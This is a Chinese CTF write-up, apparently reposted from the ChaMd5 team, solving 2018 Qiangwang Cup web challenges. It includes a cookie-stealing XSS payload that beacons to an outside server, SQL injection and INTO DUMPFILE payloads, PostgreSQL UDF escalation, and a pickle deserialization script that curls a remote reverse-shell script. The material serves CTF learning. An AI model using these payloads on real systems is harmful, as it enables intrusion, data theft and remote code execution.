第二届强网杯web方向部分writeup

2018-03-30 10,744

Web签到

  • 题目信息:

    • Flag: QWB{s1gns1gns1gnaftermd5}

  • 提示:

    1. http://39.107.33.96:10000

  1. 查看源码发现验证过程,很明显的php弱类型  
    提交两个md5值为0e开头的即可, param1=240610708&param2=QNKCDZO

  2. 还是查看源码,依然是弱类型,php中的md5对数组无力
    提交为数组即可通过 param1[]=123&param2[]=1231

  3. 查看源码,对参数做了显式转换

    这次得真的md5碰撞了,网上找了一下发现有相关的研究 

    https://www.mscs.dal.ca/~selinger/md5collision/
    从里面下到 hello.exe 和 erase.exe,发现这俩程序md5完全一样,而功能不一样

    构造上传页面,上传时抓包

<form action="http://39.107.33.96:10000/" method="post" enctype="multipart/form-data"> 
<input type="file" name="param1"> 
<input type="file" name="param2"><br> 
<input type="submit"></form>

然后把包中的filename删掉,即可发送到 $_POST 而不是 $_File

Share your mind

  • 题目信息:

    • Flag: flag{}

  • 提示:

    1. http://39.107.33.96:20000

    2. Please help me find the vulnerability before I finish this site!

    3. hint:xss bot使用phantomjs,版本2.1.1

    4. hint2 : xss的点不在report页面

首先想到XSS,通过测试,发现在report页面的提交url部分存在XSS,并且通过src属性发起请求。文章发布时,过滤了绝大多数符号,可以利用string.fromcharcode绕过。这样可以顺利写入XSS语句。但是缺少srcipt标签,无法执行JS语句。

再通过JS写的XSS  Payload尝试读取cookie并访问vps,实现获取cookie。但XHR请求一直发送不成功。

后来hint说xss不在report页面,想到了之前写文章那里的js,这时想的就是如何将js解析。想到之前pwnhub做过一道:大物必须过。

http://www.qingpingshan.com/m/view.php?aid=240597

想到通过RPO实现路径覆盖,将JS解析,从而实现XSS。

测试发现,在index页面存在RPO。再结合上午通过XSS打到的hint:try to  get the cookie of path qwb_flag/qwb,打到cookie

综上,write article页面的js语句如下:

var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(104,116,116,112,58,47,47,51,57,46,49,48,55,46,51,51,46,57,54,58,50,48,48,48,48,47,81,87,66,95,102,108,52,103,47,81,87,66,47);
document.body.appendChild(iframe);
function test() { new Image().src = String.fromCharCode(104,116,116,112,58,47,47,49,48,52,46,50,51,56,46,49,54,48,46,49,53,57,58,56,48,56,48,47,63) + escape(window.frames[0].document.cookie); }
setTimeout(test, 1000);
function test() { (new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,49,48,52,46,50,51,56,46,49,54,48,46,49,53,57,58,56,48,56,48,47,63) + escape(location.href); } setTimeout(test, 1000);

Var新建一个image,然后利用string.fromcharcode写入xss地址。注意不要写title,否则会引入h1标签,造成js解析失败。

再通过rpo,从index页面,将路径重写到文章处,再看一下vps访问日志即可。

Payload:

http://39.107.33.96:20000/index.php/view/article/32122/%2F..%2F..%2F..%2Fjquery.min.php%2F71%2F/

结果如下:

flag=QWB%7Bflag_is_f43kth4rpo%7D;

Three hit

  • 题目信息:

    • Flag: QWB{M0b4iDalao0rz0rz}

  • 提示:

    1. http://39.107.32.29:10000

    2. I can deliver tea to Dalao,can you?

首先访问进去,注册一个账户,可以看到会查询年龄和自己一样的用户名,然后随手试了一下,运气比较好,下到了index.php的源码( .index.php.swp ),赛后问了一下刚好是遇到那边在检查题目,原题思路并不是要下源码

源码里可以明显的看到age参数有注入, is_numeric可以用hex( 0x123456)绕过,于是思路就清晰了,在age参数写注入代码,然后注册完成以后进去会二次注入

构造查表名的payload来注册

登录进去以后可以看到表名有 flag和 user

0然后查列名只有 flag

最后查flag

彩蛋

  • 题目信息:

    • Flag: QWB{jarv1s0j13p5ettyg006}

  • 提示:

    1. http://106.75.97.46:8080/phrackCTF/

    2. 建设报名网站初期,测试人员发现了构建文件中部分jar版本未更新导致的有意思的RCE

    3. git地址:https://github.com/zjlywjh001/PhrackCTF-Platform-Team

习惯性扫描端口发现存在5432端口,有postgresql

然后把git的源码down下来寻找密码,全局搜索了password发现有个硬编码的密码

抱着试一试的心态连接了一下,竟然连接上了,然后就尝试postgresql的提权操作网上找到一篇关于UDF提权的文章https://blog.csdn.net/qq33020901/article/details/79032774

跟着操作了一下没有导出so成功,,导致syseval添加不上去,不知道哪里的问题
绝望的尝试了后面的sys_eval,结果发现成功上车,感谢各位做题的大佬,前人栽树后人乘凉

然后直接列目录找flag就行

Python is the best language 1

  • 题目信息:

    • 附件名称:wwwwebzip_1892rygwqguhgyfd89791ty78234

    • 附件哈希:7e9c946edf13693d4872fc2bef5ae5bb

    • Flag: QWB{us1ng_val1dator_caut1ous}

  • 提示:

    1. http://39.107.32.29:20000

    2. http://117.50.16.51:20000

    3. I'm learning the flask recently,and I think python is the best language in the world!don't you think so?

python的代码审计,源码下载下来之后发现是个flask的代码,在 other.py中看到sql语句都是拼接起来的,猜测有注入,遂跟着找,看到在 route.py中的 index和 register都存在注入
index中添加的记录可以在 explorer中看到。而 register是个盲注,所以选择 index页面进行注入,然后在 explorer看回显,构造payload如下:
先是查库名,库名为 flask
lineline', '1', '2018-03-24'),(NULL, (select database()),'1','2018-03-24')#
然后查表名,表名为 flaaaaag, followers, post, user
lineline', '1', '2018-03-24'),(NULL, (select group_concat(table_name) from information_schema.tables where table_schema=database()),'1','2018-03-24')#
然后查 flaaaaag表的字段名,字段只有 flllllag
lineline', '1', '2018-03-24'),(NULL, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaaaaag'),'1','2018-03-24')#
最后查flag,留个flag的截图
lineline', '1', '2018-03-24'),(NULL, (select flllllag from flaaaaag),'1','2018-03-24')#


Python is the best language 2

  • 题目信息:

    • 附件名称:wwwwebzip_1892rygwqguhgyfd89791ty78234

    • 附件哈希:7e9c946edf13693d4872fc2bef5ae5bb

    • Flag: QWB{pyth0n1s1ntere3t1ng}

  • 提示:

    1. http://39.107.32.29:20000

    2. http://117.50.16.51:20000

    3. 【下载地址同“Python is the best language 1”】

    4. I'm learning the flask recently,and I think python is the best language in the world!don't you think so?

和python 1一样的代码,继续回去看代码。发现 other.py的结尾有反序列化的操作,跟着 load()这个函数查找调用的文件的位置。在 Mycache.py中找到了函数的调用

然后继续跟到 set()中,看到 _prune()在这里进行了调用,路径为实例化该类的第一个参数,继续跟类的实例化,一直跟到最后是在 config.py中定义了文件来自 /tmp/ffff/中,知道了session文件的存储路径

然后看看文件名怎么来,文件名是 _get_filename(key)定义的,文件名为key的md5

继续跟函数调用,发现 get()、 add()和 set()都调用了,随便挑一个函数跟,我这跟的是 get()的调用,跟到 Mysession.py中的 open_session()函数,发现key为 self.key_prefix+sid

看了一下实例化 FileSystemSessionInterface这个对象的地方,发现并没有传入 key_prefix,于是 key_prefix='bdwsessions', sid来自 cookie中的 session的值

即文件名为 md5('bdwsessions'+$_COOKIE['session'])
于是现在只需要找到一个任意文件写入即可进行反序列化从而实现执行任意python代码
继续回到python1题的注入。既然是拼接的sql,那么能不能执行多语句,尝试了一下发现多语句是可以提交上去并通过的,提示 Yourpostisnow live!即表示sql执行成功
然后尝试利用多语句进行dumpfile,发现依然可以执行成功,于是整个思路就清晰了
首先保证服务器上的session文件未创建,然后利用 dumpfile来向 /tmp/ffff/中写入一个session文件,然后将cookie中的session改为自己构造的值,然后访问即可触发反序列化
写了个程序来生成需要构造的序列化文件,写到一半发现有个黑名单。。。
在 other.py中定义了 black_type_list,禁止了大部分能够执行系统命令的函数,于是去查自带的库还有什么能够执行命令,查到了subprocess,可以使用 subprocess.Popen(),传入一个列表即可,整个思路先下载一个反弹shell的py文件,然后nc开端口,服务器执行反弹就可以了

import pickle, subprocess, base64, binascii, hashlib

def md5(string): 
return hashlib.md5(string).hexdigest()

def base64encode(value): 
return base64.b64encode(value)

class Run(object): 
def __reduce__(self): 
cmd = "curl http://114.215.113.20/s1.py > /tmp/line.py" 
return (subprocess.Popen ,(["sh", "-c", cmd],))

if __name__ == '__main__': 
session = 'lineline' 
s_name = md5('bdwsessions' + session) 
data_hex = binascii.hexlify(pickle.dumps(Run(), pickle.HIGHEST_PROTOCOL)) 
data_b64 = base64encode(pickle.dumps(Run(), pickle.HIGHEST_PROTOCOL)) 
print s_name 
print "-" * 20 
print data_hex 
print "-" * 20 
print data_b64

生成出来之后写入到服务器上,payload为

lineline', '1', '2018-03-24'), (NULL,(select 1), '1', '2018-03-24');select 0x80026373756270726f636573730a506f70656e0a71005d71012855027368710255022d637103552f6375726c20687474703a2f2f3131342e3231352e3131332e32302f73312e7079203e202f746d702f6c696e652e70797104658571055271062e into dumpfile '/tmp/ffff/51ce1d9e8ae77a474b6c00461d8a344d'#

之后新开一个隐身窗口,把cookie改为 lineline,刷新即可,刷新以后可以看到服务端500错误,而我自己的服务器上有了一个get请求,说明执行成功

然后执行刚才下载的py来反弹shell,这里新使用一个cookie即可,在根目录找到flag

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/70070.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号